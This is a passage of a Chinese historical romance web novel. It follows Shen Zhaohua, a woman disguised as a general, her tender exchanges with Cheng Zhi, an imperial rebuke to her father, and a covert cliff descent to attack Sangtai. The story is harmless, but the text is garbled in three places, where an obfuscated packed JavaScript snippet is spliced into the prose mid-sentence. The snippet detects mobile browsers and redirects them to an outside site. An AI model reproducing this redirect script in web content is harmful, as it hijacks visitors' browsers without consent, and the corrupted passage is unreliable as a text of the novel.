“哦？少将军想要拔擢程某？”他顺势反问。 “哪还需要我拔擢，程兄如今立下战功，还怕没有朝廷的封赏么？我只是想说，苟富贵，勿相忘啊。” “现在不想把我的心肝剖出来，看看是什么颜色了？”他也不知道为什么，总是情不自禁地想要逗她。 沈照华白了他一眼：“切，我这儿又不是买卖铺子，你倒翻起旧账来了。不过你这行为，很难让人不怀疑啊。” 程致满面无辜：“不就迷晕了你几个兵吗？迷晕总比打一架好吧。” “有话不直说，净做些令人匪夷所思的事。一个宿城参军带着个京城侍卫，每日里神出鬼没，我没把你送地牢里去下榻已经算不错的了。” 程致没反驳她，只垂眸笑着，余光却忽地扫到了她血肉模糊的右臂。 “沈兄，咱们快些回营，给你上药包扎吧。” 沈照华的右臂已经疼得有些麻木了，快骑则颠簸得疼，慢骑又折磨得疼，左右没个好处。她苦笑着半开玩笑道：“你和我都入了敌阵，怎么偏我受伤了，可见老天爷是有偏向的了。” “这不干老天爷的事，我若把援军早带来片刻，先去开道，你也不至如此。一会儿我亲自为你上药，向沈兄赔罪。” 什么？亲自上药？！ 沈照华僵住了。 大可不必吧程兄…… 4. 白檀香梦 营帐之内。 医官透过成团血渍打量了一下沈照华右上臂的伤口，说道：“伤口不很深，并无大碍。少将军需得把胳膊露出，好清洁敷药。” 她看了看这袖子的窄口，肯定是撸不到上臂去了，难道，要她把整个肩膀都褪出衣衫来...？ 这怎么行！沈照华一时连疼痛都忘了一半。 忽然，她灵台乍明，忙道：“有剪刀吗？我把这截袖子剪下吧，也免得脱衣裳时扯了伤口。” 医官点头称是，于是将药箱中的剪刀递给她。 她看着左手的剪刀，又看了看她这右臂薄薄的袖子，一时犯了迟疑。用左手动剪子的活儿，可有点不好干啊。 她左手握着剪子，笨拙地对着右臂比划着剪了两下，越往肘外越使不上劲，加着右臂疼痛丝毫沾不得，场面一度有些无法收拾。 程致连忙微蹙着眉上前坐到她身旁，拿过她手里的剪刀温声说道：“我来吧。别动，当心扎伤了。” 声音的暖流如春风搔过鬓边，微凉如玉的指节轻触到她的手背，沈照华的上半身似有些僵住。清幽的白檀香气缓缓入鼻，她感受到了自己起起伏伏的心跳。怎么之前不曾闻到他身上的熏香如此好闻？ 他微垂着眼帘，小心翼翼地将她的残袖剪下，又用温凉的帕子轻轻拭去她右臂的血迹，偶尔碰到皮肤的指尖惊动了她臂上细小的汗毛。 他右眉梢上那颗若隐若现的痣似又在眼前浮现。 她也不知道为什么自己竟会对那颗痣记得这般清晰，一颗痣而已。 “好了——沈兄，你的脸怎么有些红？医官，他是不是发烧了？”耳边，程致忽地抬眸看到了她半垂着的红若云霞的面颊，他的神色略露惊讶。 医官忙问道：“少将军可觉得身上冷？” ...冷？ 她甚至觉得有点热。 沈照华从白檀香味的梦里醒过神来，忙往榻里挪了两下，可她脸上的红晕分明又浓了些：“不冷不冷，不烧。” 医官试了试她额头的温度，略点了点头。程致主动接过医官手上的药，用骨片匀了些，便要侧身给她涂上。 “沈兄，需忍着些。” 他的身子再次凑近她。沈照华想起自己刚刚心跳得有些慌乱的感觉，属实不敢再重温，便忙将药夺过来，露出了有点尴尬的假笑：“不劳费心，如此小事，我自己来。” 也不待程致反对，她一把夺过小药罐，刮了坨药便往那血淋淋的伤口上糊，无奈动作太粗暴，一股药汁唰地渗入伤口，刺得她眉眼紧皱。 “你慢点，哪能这样上药......”她这上药也要速战速决的姿态惹得程致有些心焦，说着又要亲自上手。 沈照华连忙打断：“我注意些，我注意些。” 看着她缩到榻里别着胳膊闷头上药的场景，程致在一旁无奈地摇了摇头。 沈照华偷偷抬了眼皮看向围着他的医官、程致、玄甲这三个男人，暗暗叹了口气。如果不是怕你们生疑，岂能允许你们观看我上药！ 医官给她包扎了伤口，玄甲便送医官离开，帐内一时只剩他二人。四月的春风卷开帐帘底角，送入丝丝凉意。 沈照华将被子披在身上，不知该同他说些什么。 程致似也有些不自在的模样，他看了眼帐帘，又看了眼她，迟缓地原地晃了两步，终于没话找话地开口道：“...沈兄可有什么想吃的？军营若没有的，我让人去城中置办来。” 吃的...？沈照华有点怔住。 “既受了伤，不吃些补补，怎么好得快？”程致给自己找补道。 “哦...皮外伤而已。那晚程兄请我吃饭，我尚未还，不能再让你费钱费力的。” “沈兄说我爱翻旧账，我看你这记账的功夫倒是不错。若算这么清，今日斩旗时我挡下暗箭救你一命，那岂不是你后半辈子都得用来报答我了？”程致说完后，眼神忽然有些躲闪，好端端的，他提起后半辈子这种事做什么？ 沈照华看到他这副振振有词的模样，不禁笑了：“我倒想还，只是半辈子的恩情怎么还？又不能以身相许，只能大恩不言谢了。” 沈照华说完，心猛地一颤。老天爷，她在说什么危险的话语？！ 不过说便说了，又能如何，于是她在僵硬的笑容上，又非常刻意地挑了一下嘴角。 程致整个人也滞了一瞬，随即眉目间又漾出难以捉摸的浅笑：“少将军想以身相许，我还不敢收呢，不过这词儿从你口中说出来，倒是别有一番趣味嘛。” “嗯，你可真会听啊......”沈照华无语，只觉得脖颈子都在发热，当即盖了被子，将脸一蒙躺下。 程致笑看着她这番模样，着实地摇了摇头，上前帮她把被角掖好，又在门口打了两圈转，才自回去了。 听着脚步声远去，沈照华把头从被子里探出来，她侧耳听了半天，直到连脚步声都没有了。 她坐起身来，神色并不愉悦。他走了？就这么头也不回地走了？也没叮嘱几句什么的？ 她马上晃了晃脑袋，走了好，走了才是对的，不走才麻烦。 接下来的几日十分消静，北临吃了败仗，暂且缩回了城中，将士们疲惫了数日，除了日常操练外，也都在养精蓄锐。 沈照华也得以安心地在帐中养伤，除了沈恪和程致偶来探望，并无他事。 她还有闲心偶尔去望望城外的连绵远山，看着温厚而苍茫的落日渐渐没入天边尽头。 但是周诚这几日却没有闲着，甚至比之前更忙了。 这日沈照华正一边吃着程致清早着人送来的糕点，一边坐在案旁研究攻城阵法，刚入口的花糕还未咽下，就见周诚脚步急促面带阴云地进了来。 他说话向来不带拐弯，进门第一句就是：“出事儿了。” 沈照华差点没被花糕渣子呛住。她这才清闲几日啊？ “宿城总兵府的方都司，这个月忽然染了重病，听说连后事都安排好了。” “啊？” 沈照华的太阳穴开始突突。看来这方都司也不过是一条随时可烹的走狗。她虽不大懂朝堂上的事，但是敢对朝廷命官下手的人，这满朝里估计也没有几家吧？ “怎么就突然染病了？”沈照华力图寻出一些蛛丝马迹来。 周诚摇摇头：“不知道。听说前两个月他还一连娶了两房小的，不想这个月就大限将至了。” 沈照华觉得不对劲。不只是他的病不对劲。 国朝三品以下文武官员俸禄并不丰厚，像这般能连娶两房的，若无外财，谁人肯信。 “当真连着娶的？” “对，听说其中一个还是强抢的有夫之妇。”周诚说着露出了鄙夷的神色。 这种人神共愤之事都敢做，若说无人撑腰，谁又肯信？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347535|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈照华陷入了沉思。方都司敢在宿城明目张胆抢民妇，很难说没有顾总兵的撑腰之功。可给顾总兵撑腰的又是谁呢？ “总兵府可查了？顾总兵有没有跟什么京里的人，或者其他人有来往？”沈照华问道。 “总兵府很安静，咱们的人蹲了几日也没见异常。只中间有人寄了封家信来。” 家信。她忽然又想起顾总兵那升迁极快的儿子。如果她的直觉准的话，内奸这条线的根，在朝中。 只是事关重大，不可妄断。 沈照华的神色愈发凝重：“继续盯住总兵府和方府，即使方都司半途死了，也要盯着他家中情况。” 当然，查案也是不急在这片时的，周诚一大早风风火火的过来，连早饭也未来得及吃，沈照华便留他在这里将糕点用了。 而她是无心再品尝糕点了，她缓缓揉着发涨的头皮，企图让思绪放松一些。 二人正有一搭没一搭的闲话时，帐外传来程致的声音：“沈兄今日可好些了？我看将领们都往中军去呢，我也想旁听一番，不知沈兄可方便带我？” 是了，今日是中军集会的日子。沈照华忙起身应道：“我这便去，程兄稍等我片刻。” 这次与北临交战，因沈照华入阵斩旗而一战大克，伤亡甚少，三军将士士气大振。沈恪这日在中军帐内聚了将领，共同商议收复失陷的新岭城的策略。 沈照华穿戴妥当，也带了程致一同入帐听策。 将领众多，沈照华为了不引人注目，特意寻个边角站了，程致也随她站在边角，俨然一副旁听姿态。 “新岭城高池险，强攻难破，不如断水烧粮，将他们困死城中！”一个将领提议。 沈恪若有所思道：“若断水，城内百姓也会无辜遭殃，烧粮倒是可行，可也只能做应合之计。如今城内粮草已难久撑，我们还是需做全盘谋划。” 沈照华沉思着，半眯着眼观察着地图上重重叠叠的山路。忽然，一座位于新岭东北的北临小城“桑台”吸引了她的注意。 凤宁位于新岭东南，而桑台位于东北，正好呈掎角之势。 “父亲，何不用声东击西之计？派大军在城侧挖地道，在城前列阵攻打，让敌军误认为咱们要硬攻新岭。其实，我军暗中分兵去取桑台，届时左右夹攻，打他个措手不及。” 参议官们仔细观察了沙盘的地形，皆称可行。程致也在一旁暗暗点头。唯沈恪低头不语。 良久，沈恪才道：“桑台虽小，但边陲重镇，定有大将镇守，若此去不能必胜，则我军损兵折将，反于大局不利。若不是箭在弦上需要速决，分兵暗取还是风险太大。权且记下，再行计议。” 父亲是大祁的常胜将军，决策鲜少失误，她也意识到此计难保万无一失，于是暂且不言。 将领们正在你一言我一语地商讨，忽然帐外传来一阵急促的脚步声。 “启禀将军，朝廷钦使携上谕已入营门，正往中军来！”来人禀道。 众人皆惊喜，这样大胜时节来了上谕，莫非要褒奖？ 半日不语的程致神色却与众人迥然不同，不仅不见半分喜色，还忙拱手言道：“下官位卑言轻，不敢聆听圣训，便先行告退。” 沈照华回头看向他时，只见他面带几分惶惑匆匆退去，并不似他素日做派。 说来的是他，急着要走的还是他。怎么他好像在刻意躲着钦使？ 5. 星夜暗渡 程致不过一个小小参军，入营以来日常无非做些传递文书的闲差，并无人管他的去留。以沈恪为首的将领们纷纷整衣列队，备迎上谕。 不多几时，腰系革带足蹬朝靴的钦使便在官军护送下威风而至，在帐前宣读圣上口谕： “皇上口谕：沈大将军前番与敌军交战，既夺旗全胜，为何不乘胜追击？如此蓄意拖延、贻误军机，意欲何为？朕限你半月之内发兵北伐，夺回新岭，否则便从速回朝自陈内情！钦此！” 上谕宣毕，帐内将领无声地面面相觑。 这一仗明明大胜，在上谕中却为何成了罪祸之由？ 沈照华的指甲颤抖着抠入地板的缝隙。 他沈家一门父子为国舍生忘死，倒被误解为蓄意拖延、贪恋权柄？他们想干什么？ 前有内奸后有申斥，到底是谁在背后捅刀子！？ 钦使收了明黄圣谕，下阶来同沈恪揖拜，神色也比方才柔和了许多：“大将军，自新岭陷后，陛下对西境挂心多时，如今东北与湘南一带又天灾频发，陛下每日宵衣旰食，满朝文武也是睡不着觉。正值多事之秋，各方艰难，前线的难处，陛下虽心知，但也心急啊！” 沈恪听罢，忙向代表着上命的钦使抬臂深揖：“臣上不能解君父之忧，下不能护百姓之安，空担封疆重任，实有负陛下深恩，祈请陛下赐罪。” 钦使见状，连忙将沈恪双手扶起：“大将军乃国之干城，社稷朝廷无不仰赖，又何出此言。但如今国库都要见了底，陛下的意思是，前线的仗还是要尽早有个了结。难处纵有，还望将军务必与朝廷风雨同舟、共度时艰。” 沈恪本不舒展的眉头似又皱了些，叹息声似有千钧之重：“护卫国土、浴血奋战是臣等本分，何敢称难，恪只恨自己才疏学浅，不能一战而克。烦请钦使回朝禀报陛下，臣一定竭忠效死，尽快驱逐敌寇。” 钦使点头相应，道扰辞别。临行前，钦使沉思了片时，又旋身向沈恪沉声叮嘱道： “大将军，如今内忧外患，举步维艰，还望善自珍重啊。” 送别钦使后，满帐鸦雀无声。 帐内谁人听不出上面的意思，先威压，再诉苦，摆明了是又不给钱粮，又要速胜，还不能给朝廷拖后腿，不然就回朝请罪吧。 大家眉来眼去心照不宣了一阵，在冰冷了半日的帐内，终于有个将领幽幽叹了口气：“这是要把咱们架在火上烤啊。” 沈恪迈着沉重的步子坐回了书案旁，一时禁不住咳了起来。 沈恪素有咳喘旧症，节气不好或身疲体弱时便会勾将起来，发病时气喘不已起坐不宁。 沈照华连忙暂压了愤怒上前倒茶：“父亲，不论如何身体为重，他们借题发挥欺人太甚，但咱们问心无愧。” 一旁的将领们也都纷纷解劝，让沈恪保重身体，缓图计议。 但谁心里又没有一面明镜，上谕已下，不论如何计议，此事只有三个结果：速胜，获罪，战死。 沈恪饮了茶，勉强平了气息后，又看向案旁悬挂的西境地图，半晌低声而坚定地吐出了两个字：速决。 边塞四月无春意，近几日又时而风沙大作，万里长空尽是灰黄之色。 午后，沈照华顶着大风把煎好的药端到沈恪帐中时，沈恪仍面朝地图靠在椅子上，眼神与神思却似飘向了万里之遥。 看着须发间白色渐浓的沈恪，沈照华一时惆怅起来。她将帐帘掩好轻步而进，不忍打扰了沈恪的思绪。 沈恪注意到了她的到来，便换了副稍轻松些的神态迎道：“照儿来了？狂风飞沙的时节，你伤又未好，怎么不在帐中歇息？” 沈照华将药碗端到他手边：“我得看着您把药喝了，不然怎么放心？” 沈恪露出的笑容难掩苦涩：“如今惦记我的，也就是我女儿了。只是——”沈恪说着情不自禁地又叹气起来，“这药喝与不喝，怕都是一样。” 沈恪向来与儿女有话直言，不似别家半吐半露的。十八年来，沈照华还是第一次听到父亲说这样的丧气话。 沈照华惊讶之余亦着急起来：“朝廷欺人太甚，您又何必英雄气短？那里从上到下，有哪一个值得您这样？将在外君命有所不受，这仗该怎么打还是怎么打，平白受了这窝囊气，就真要服软不成？” 沈恪鲜见地无力摆了摆手，不再继续这个话题。君为臣纲，他毕竟做了三十年人臣，雷霆雨露俱是君恩，不妄议君父是刻在骨血里的修养。 “我方才问过天文官，过几日大风便歇了，正宜开战。咱们早些打了，也早些回临安老家去，几年不见舒儿，都不知道她现在长多高了。” 沈恪口中的舒儿，便是沈照华继母所生的妹妹舒华。 “舒儿今年也有十三岁了，上次寄的家书便是她写的，我看字倒工整，只是章法还不大好。”沈照华顺着沈恪的话回答着，没有再劝他以前线战局为重而违抗君命，毕竟她了解沈恪的为人。 “那更要早些回去，教舒儿习字了。” “舒儿肯定也很想父亲。” 沈照华听出沈恪想解甲归田的心志，虽替他不平，但也并未多言。 沈恪将药一饮而尽，又用水压了苦意后说道：“照儿，你让人把秦指挥请来，我有事与他商议。” 秦指挥？沈照华心下暗转，秦指挥是前方指挥作战兼冲锋陷阵的一把好手，若商议参谋军事，何不请参议官？ 一番思量后，沈照华已有猜测。 “父亲，若是去夺桑台的话，还是我去吧。我也可以离众人远些，免得身份败露，让咱们家又多一条罪名。” 夺城如此大事，其山迢路远更兼攻打城池几多艰难，被人轻飘飘地就接了下来，沈恪一时有点反应不过来。 待醒过神，确认是他的女儿在抢这凶险之事后，他当即沉了脸色：“不用你去。” 其实在沈照华来送药之前，便做好了去攻城的打算，若要速战速决，她上午所提的声东击西再左右夹攻之策，虽险却值得一试。她早料到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347536|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈恪会有这样的反应，就跟那日她初到军营时一样，所以也并不惊怪。 “父亲，我又不与他们硬碰硬，我早已计划定了，让周诚带人扮做北临溃兵先前往桑台军营投奔，待他们控制了城门，我便带人杀进城去，乘势便可夺取桑台。” 不待沈恪问，她又把其间各种细节托出，颇是周密计划过的模样。 对于此事，沈恪仍有诸多疑虑，但无奈沈照华心有成算又非去不可，他虽百般不放心，也只得答应派一个得力的副将护她前去，并叮嘱她若计不成，及时撤兵回援凤宁，不可冒险。 毕竟沈照华有一句话还是有道理的，即使她留在凤宁，也不可能龟缩帐中，这条命一样也是要豁出去，自打她入营那天起，便是这样了。 做定计议，沈恪便让士兵们挖地道、练阵法，高举收城大旗，对新岭城展开了轰轰烈烈的正面攻击。 与此同时，沈照华点了精兵一万，走山林小路偷向桑台，并星夜兼程，不敢稍迟。 是夜，周诚已经按照计划，带了二十几个人穿着俘虏身上的北临军服前去桑台诈投。沈照华则率接应的军士在林间扎营休息，养精蓄锐。只待这两日周诚他们寻机起事，控制住桑台的守城士卒，他们好入城攻占。 兵士们连日跋涉，早已安歇，而沈照华却思绪万千，越想入睡，越辗转难眠。尤其是想到父亲一心王事却被皇帝逼迫至此，想到即使被刁难他们依然要舍身用命，心里更是冰凉一阵、火热一阵。 风过丛林，传来刷啦啦的响声，密林深处偶尔还会传来几声嗥叫，不知是野狼还是犲豹。 午夜的野地静得令人毛骨悚然。 帐篷里漆黑一片，短暂的犹豫后，她还是走出了帐篷来到稍微开阔之处，任缕缕月光、点点星辰照在自己身上，靠近这黑夜里唯一的光源。多少日狂风大作，如今终于见到了久违的明朗星夜。 她不禁张开胳膊伸了个懒腰，权当给星月一个拥抱。 忽然，一阵飞鸟振翅之声拎起了沈照华的精神。 她循声望去，却惊见不远处溪流边，有一人影伫立。方才那鸟，正是从他那处飞起！ 难道是，内奸传信？！沈照华脖颈一凉。可恨出帐未带弓箭！ 也罢！先逮人！ 她随手抄起脚下石块，蹑手蹑脚往那人处挪去。离得近些后竟发现，那人在借着月光看字条！ 好贼子！沈照华攥紧拳头，屏住呼吸步伐轻捷地朝他跑去，可她却忽略了，她的身影却在月光的照耀下一览无遗。 果然，还不及出手，那人便迅速察觉身后动静，猛然回身一掌。 沈照华一惊，迅速闪开，正要出拳反击，却听那人惊唤一声：“沈兄？！” 这清澈的嗓音，这熟悉的称呼...... 她忙瞪大了眼睛看向刚刚就要与她大打出手的这个人，待他那模糊的面庞在月光的朗照下渐渐清晰起来，沈照华彻底愣在了原地—— “程兄！？怎么是你？！” 6. 绝处逢生 见眼前穿着普通军服的人竟是程致后，沈照华忙收了正准备出拳的手臂，但瞪着的眼睛还没收回来：“你不好好在营里呆着，来这儿做什么？！” 程致看着她的脸上写满了目瞪口呆四字，不禁被逗笑了：“来找你，不行吗？” 找她？沈照华脑袋一阵嗡嗡乱鸣：“这可是敌境！旁人避之不及，我也是把脑袋栓在了裤腰带上，你跟着凑什么热闹？！” “我在军营里是个无用之人，就想着跟着沈兄过来，也好混个军功嘛。”程致的神色看起来明显要比沈照华轻松多了。 看着他这丝毫没有意识到战场凶险的模样，沈照华无言以对了：“……要军功不要命？就你打扮成这副模样混进来，我若没发现，就把你当大头兵使了！” “那又何妨？”程致轻拍了拍她的肩膀，沿着溪流先一步往前走去，“沈兄此次为国朝疆土兵行险招不计生死，能为沈兄做马前卒，我亦无怨。” 程致的话和那两下温柔的轻拍将沈照华被震惊得四散纷飞的思绪收拢了回来。 她也提步跟了上去，语气渐渐恢复平稳：“你一届文官，能带援军安全往还已是大功，实在不必跟我一样以身犯险。你可真想不开。” “前番夺旗时，守军多日苦撑，援军劳累远涉，能得胜而还已是不易，追击时若遭伏击，凶多吉少。可惜朝廷不知战局不利，只一味催战，让沈将军陷入如此两难境地啊。”程致不疾不徐的说着，语气却满是叹惋。 沈照华见他如此体谅沈恪的难处，五内一时温热起来，可想到朝廷，却又不禁平添几分恼火，于是忍不住牢骚道：“是真不知还装不知？我家三代攘外安内为国尽忠，不想如今……” 沈照华忽地意识到不妥，于是不再说下去。虽不吐不快，但大逆之言若宣之于口，便是一辈子把柄。她不惯为官，一时忘了这人臣大忌。 她不由得转头看向一旁垂眸缓步的程致。 他感受到了她投过来的略带不安的目光。 他却将目光微微偏移，没有言语。 “程兄，方才的话，你……”沈照华看着心事难辨的程致，不由踌躇起来。 这次不待她说完，程致便接过话来：“与我说无妨。我既忘死前来照应，便不会做有害于沈兄之事，难道你还信不过我么？” 也是，他曾于乱箭之中舍命相救，应该是值得信任的。 沈照华略松了口气，心头一股暖意蔓延开来。想当日她孤注一掷代兄为将，便做好了独自面对一切的准备，哪里奢望过能有人照应？ “对了，那天钦使来时，你为何忙着躲避？你也不像不敢面见上官之人啊。”她忽然想起此事。 程致似是没想过她会如此问，脚步略顿了顿，月光将他玉树挺拔的身影拉得极长。 “又不是什么值得高兴的上谕，难道沈兄乐意听吗？” 他又如此闪烁其词。但去宿城探查的人报过，称程参军确实年纪不大，且已随军入凤宁，想来身份并无异常。 只要他是友非敌，她也不想再做无益的深究，只是望着清朗夜色幽幽一叹。 程致此时将袖间字条拿出，递给沈照华：“强攻新岭果然艰难。北临占尽地利，咱们只能靠人和了。” 沈照华将字条举起，透过月光一看，是一张汇报前线军情不利的短笺。 “哎，看来我这支偏师，要扛起重任了。” 一阵短暂的沉默之后，她便又想起方才之事，“原来是你的人飞鸽送来的，我方才远远看见，还以为是内奸传信呢！” 听见内奸二字，当日馆驿横刃的场景还历历在目，程致不禁含笑道：“若不是我反应快，怕是小命休矣。” 沈照华笑嗔了他一声，将手负到身后，又沿岸漫步起来。 星夜里，他二人并肩走在林下溪边，有一搭没一搭地随意聊着，看着潺潺流水在月光星辰的照耀下浮荡着粼粼波光，直到夜色深沉。 接下来几日虽说是赶路，其实他们走的根本称不上是路。 狭窄山缘，密林石丛，有时运气不好还会赶上荆棘险滩。幸而天公作美不曾下雨，不然可真的就是泥里打滚了。 不过沈照华并不惧怕路途之艰，因为她知道，到桑台之后才是真正的险关。 路近桑台，士兵们正埋锅造饭。沈照华登高向城前望去，城下风光尽收眼底。 如此北地旱城，城前竟有河流淌过，且由此山到彼，只有土山石阶且十分陡峭，单看这路，堪称绝地。 “吃点东西吧。”程致不知何时来到身后，递给她一张尚冒着热气儿的烧饼。 沈照华接过烧饼也顾不上吃，指着山下土石错杂、几为崖壁的路道说：“一会儿咱们须得顺着这山爬下去。到城下还要结筏，准备渡河。” 程致顺着她所指的方向望去，难掩愁态：“我也查探过了，只能让士兵们几十人结为一组，结绳缒索而下，只是实在惊险。” 一万大军缒绳下山，简直闻所未闻，沈照华想想那画面也觉得不可思议，一个不注意绳断手滑，焉能有命。 沈照华又往下探头看了看这高陡崖壁，把打着鼓的心一横。事已至此，别无他路。 于是叫来副将，命他传令士兵备好铁钩绳索，结队为伴，预备饭后下山。 “一会儿咱们一同下去，也好有个照应。”程致说道，一面抹去额头上沁出的薄汗。 沈照华点头看向他，却见他如羊脂玉般清润白净的颈与脸上沾了一层灰尘，刚用手擦拭过的额头灰黄中露出几道白痕，发丝也凌乱飞扬。虽然不掩俊美皮相，但也让人难以想象他素日整洁到一丝不苟，连衣服都要熏香的讲究模样。 又想到可能连他本人也不曾见过这般狼狈的自己，沈照华要上扬的嘴角就有点压制不住。 她掏出怀中素帕，正要靠近去帮他擦拭，可手抬到一半，又被她生生按了回去。 “程兄，用这个擦汗吧。”她将帕子轻轻一递。 程致微微一怔，道了谢便接过帕子擦了几下脸。正要归还，拿着帕子的手悬在一半也滞住了，脸上现出尴尬的笑意：“汗泥脏污，待来日我还沈兄一个新的吧。” “说什么还不还的，咱们还用计较这些。” 程致收了帕子，叠好掖入怀兜，笑道：“也是。这几日风餐露宿顾不上梳洗，沈兄可别笑话我灰头土脸啊。” 沈照华笑着摆了摆手：“彼此彼此，待拿下桑台，咱们入了城再梳洗不迟。” 待将那烧饼囫囵吃了，士兵们也休整已毕，浩浩荡荡一万大军沿土石山崖岸列队，依次固绳而下。士兵们借助着绳索与壁上零星可以落脚的残根石块缓缓缒降。 空荡山崖间，微风送来绳索与崖壁的摩擦之声，和士兵们的喘息声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347537|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “检查绳子相结处是否牢固，一定小心缓下！”沈照华在崖岸上扯了嗓子反复提醒，她看着士兵们一手一脚艰难地缒降，看着他们从即将坠落的边缘又迅速稳定身体，不禁汗湿脊背。 副将已提前下崖接应，程致在崖岸检查绳索的固定情况，时不时往下看看那狭窄的崖底，也是一阵眩晕。 沈恪当时担忧北临在桑台预备了后手，特意选了精壮士兵供她调遣，如今还未开战，万不能折损于行路之中啊！念及此处，沈照华有些麻木的手不由紧握，喉咙处似堵了东西般哽住难下，连呼吸都觉得滞涩。 夕阳西下，暮色初凝。 绳换三遭，崖底渐渐被士兵占满，这一万精兵终于陆续降下，虽然偶有臂力不济或腿脚滑蹭中途摔落的，但好在有伤无亡，大体平安。 晚风吹干了她鬓边颈间的虚汗，大山压肩之感渐渐散去，大石坠挂之感仍盘踞心头，迟迟不解。 “少将军，下来吧！小心些，我们在下面接应！” 副将命各队点兵列队后，向上面喊了一嗓子。 沈照华刚想抬步，却发现腿脚酸胀不已，根本不听使唤。 即使是戴着面甲，她眉宇间的阴霾也清晰可辨，程致于是上前宽解道：“士兵们大都平安降下，沈兄也可宽心了。只要咱们一会儿别出岔子，这关就算过了。” “嗯，我就是有点缓不过来。” 沈照华深喘了口气，活动了一下发僵的胳膊脊背和指腕，振了精神，准备下缒。 程致看着神思甫定的她，隐隐有些担忧，待确认她的绳索固结无碍后，自己也忙攀了邻绳跟下。 经过了半晌的浑身紧绷，沈照华的手臂根本使不上多少力气，全靠臀腿间的力量在石头上将将撑住，把自己一点点往下放落。 当她继续试探着把脚踩在一块石头上时，忽地脚下一滑，那石块竟是松动的！ 她双手猛地攥紧绳子，全身的重量一瞬间全挂在手臂之上，一阵撕筋扯肉的剧痛登时从右肩头向右手传来，疼得牙齿打颤，她根本来不及寻到靠脚之处，双手却下意识地松了一瞬。 沈照华的感官全然失去了知觉。 接下来，她也听不到自己的一声喊叫震荡了整个山涧。 她的脑海中涌出了她这短暂的十八年人生中的许多碎片剪影，最终出现的一幕，是一片血海之中北临军踏破沈家军的红影，兄长的血溅在她的脸上，刺痛了她的神经...... 她还有很多事没做，她还不想死。 待惊魂归位之时，她已经被人整个环抱住了。 她艰难而战栗地睁开双眼，眼前看到的，正是那个蒙了薄灰的玉琢墨画般的脸。 此刻程致用右臂将她紧紧搂在怀中，一条左臂支撑着他们两个人的重量，他的面部都因极度用力而略显狰狞。 “抱紧我。” 他用仅存的多余气息，将这三个字吹向她的耳畔。 还来不及多想，她整个人立时从失魂边缘醒过来了，他们还挂在崖壁之上！ 崖下副将和士兵们“小心”的惊唤声也传入了耳朵。 她迅速恢复警惕，一面抱紧程致，一面眼睛下意识地扫视绳子。 她的头皮还未来得及松泛就又皱住了。 ——上方绳索咬住了树木残留尖根，在反复摩擦之下麻丝迸裂几欲断开！ 7. 子夜鏖战 “绳子！” 沈照华的失惊一呼还未落音，那绳子便已在两个人重量的坠堕之下崩开断裂！ 一瞬间，两人便摩擦着陡斜崖壁齐齐滑落。崖底响起浪涛般的惊唤。 坠落的刹那，沈照华左手搂紧程致，本能地伸出右手去抓壁上的岩缝，顾不得右臂伤口迸裂血流如注。 程致双脚同时迅速蹬住凸起壁石，左手手指死死抠进土层。 两个人几乎僵在崖壁之上，无法动弹，无法思考，也难以喘息，整个时空似乎都于此刻停滞。 “主子！接住！”下一秒，崖岸上传来疾声高呼，一条绳索迎面扑下。 他二人各自一只手齐齐抓向绳索，在又一阵短暂的滑擦之后，重新借助绳索稳住了身体。 老天爷啊……她的心脏几乎要呕出来。不过好在，有心跳了。 她这才从窒息之中稍稍透过一丝气来。 “双手抱住我的背。我来握绳。”耳畔再次响起程致的声音。 没有时间犹疑，沈照华缓缓旋动左臂与身体，将右手从绳上松开，迅速从背后环抱住他。 她曲着双腿，将整个人都挂在他的身上，他的后背随着蹬踩崖壁的动作而上下起伏。 这生死刹那之间，透过甲衣，她感受着他的呼吸和他身体的温度，心中不仅是有暖流经过，更似有什么东西破土而出，她脑海中千百种念头一时缠斗，可此刻她只想把他抱得更紧。 她就这样被背下了崖壁。 待落地时，双脚踩踏处的柔软感让她不由得低头看去。 ——崖底地上竟匍匐了一排三列士兵！ 她的脚就踩在了士兵的背上！ “怎么样？吓坏了吧？”程致把她从士兵的背上扶下来，左手似有什么湿润的东西黏在了手指间。 待他低头看去，指缝间竟沾满了鲜血！ “沈兄，你的伤！” 沈照华浑身的汗都在落地这一瞬发出来了，她有气无力地摇摇头，可唇舌还有些不太听使唤：“没……事。” 岂会没事，这短短几秒钟，一霎死，一霎生，她好像过了惊涛骇浪般的几百年似的。 天幸如今还有命。 她抬眸看向囫囵个儿站在自己跟前的程致，想到如今还能喘气的自己，差点就忍不住痛哭出声。 “怎么没事？伤口最怕裂开，这一来二去又不知道什么时候才能好了。”程致连忙弯腰撕下内里的袍摆，准备给她的右臂包扎。 包扎时，惊魂甫定的沈照华眼角余光却不禁落到正在默默退下的那三列匍匐士兵身上。 